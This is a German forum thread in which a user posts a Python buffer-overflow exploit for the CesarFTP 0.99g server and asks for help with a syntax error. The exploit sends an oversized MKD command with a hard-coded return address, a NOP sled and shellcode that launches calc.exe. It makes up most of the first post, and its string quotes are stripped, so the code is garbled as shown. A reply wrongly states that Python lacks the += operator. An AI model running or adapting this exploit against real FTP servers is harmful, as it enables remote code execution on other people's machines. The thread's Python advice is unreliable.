Python | .exe

  • #1
F

Frazze

Bekanntes Mitglied
Themenersteller
Dabei seit
22.12.2005
Beiträge
90
Reaktionspunkte
0
Ort
Kirchheim/Teck
Wie kann ich ein Python Script zum laufen bringen?

Ich weis man muss die Datei mit der Endung .py speichern, mehr blick ich aber nicht, wenn ich sie öffne geht das Fenster sofort wieder zu.
Wenn ich das script über die cmd öffne dann will es zwar was machen, aber dann kommt ein Syntax Error.

Bevor ich den Code poste will ich kurz was sagn: Der Code soll ein Exploit sein um den CeasarFTP 0.99g zu exploiten, da ich ab und zu genau dieses Programm verwende um Sachen für Freunde und einen kleineren Kreis zu veröffentlichen wollte ich das jetzt mal testen, hatte mir das so vorgestellt: ich mach den server on und ein freund von mir testet es dann.

Hab mir mal einige Seiten und Tut's zu python durchgelesen, und ich glaube der code ist für ne .exe und nicht für ein script gedacht (#!).

Bevor jetzt jemand meint ich will damit böse sachen machen, NEIN! :knuppel2: (außerdem hätte ich dann nicht in eurem forum gepostet^^)
Wenn ihr das ganze nicht Public machen wollt wegen anderen leuten die das besser nicht sehn sollten schreibt mir plz ne PN oder ICQ (oder mail).

So, hier mal der Code....

Code:
#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [[email protected]]
#Date: 10.06.2006

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8
\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1
\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07
\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25
\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5
\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d
\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4
\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0
\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c
\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b
\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4)

def intel_order(i):
  a = chr(i % 256)
  i = i >> 8
  b = chr(i % 256)
  i = i >> 8
  c = chr(i % 256)
  i = i >> 8
  d = chr(i % 256)
  str = %c%c%c%c % (a, b, c, d)
  return str

host = 127.0.0.1
port = 21
user = h07
password = open
EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send(user %s\r\n % (user))
print s.recv(1024)

s.send(pass %s\r\n % (password))
print s.recv(1024)

buffer = MKD 
buffer += \n * 671
buffer += A * 3 + intel_order(EIP)
buffer += \x90 * 40 + shellcode
buffer += \r\n

print len: %d % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()

#EoF



Und das hier soll der Syntax Error sein:

File C:\Dokumente und Einstellungen\Leonardo\Desktop\TEST.py, line 51
buffer + = \n * 671
^
ich denke (ziemlich sicher) das der rote hacken ^ auf den fehler (das =) deutet, der fehler wird auch bei den nächsten 3 zeien im code angezeigt....



Hoffe mir kann jemand helfen und es kommen nicht posts à la §cr|ppT k|ddy geh heim oder so....!
MfG Frazze
 
  • #3
jo, hab ich ja, aber der syntax error kommt immernoch grrrr
 
  • #4
sorry - hab da etwas falsch verstanden.

ich bin zwar auch nicht der große Python Spezialist, aber soweit ich weiß gibt es den += Operator in Python nicht. Probier einmal folgendes:

Code:
buffer = buffer + \n * 671

die folgenden Zeilen analog dazu
 
  • #5
Stimmt ;)
Thx
 
Thema:

Python | .exe

ANGEBOTE & SPONSOREN

Statistik des Forums

Themen
113.839
Beiträge
707.962
Mitglieder
51.492
Neuestes Mitglied
Janus36
Oben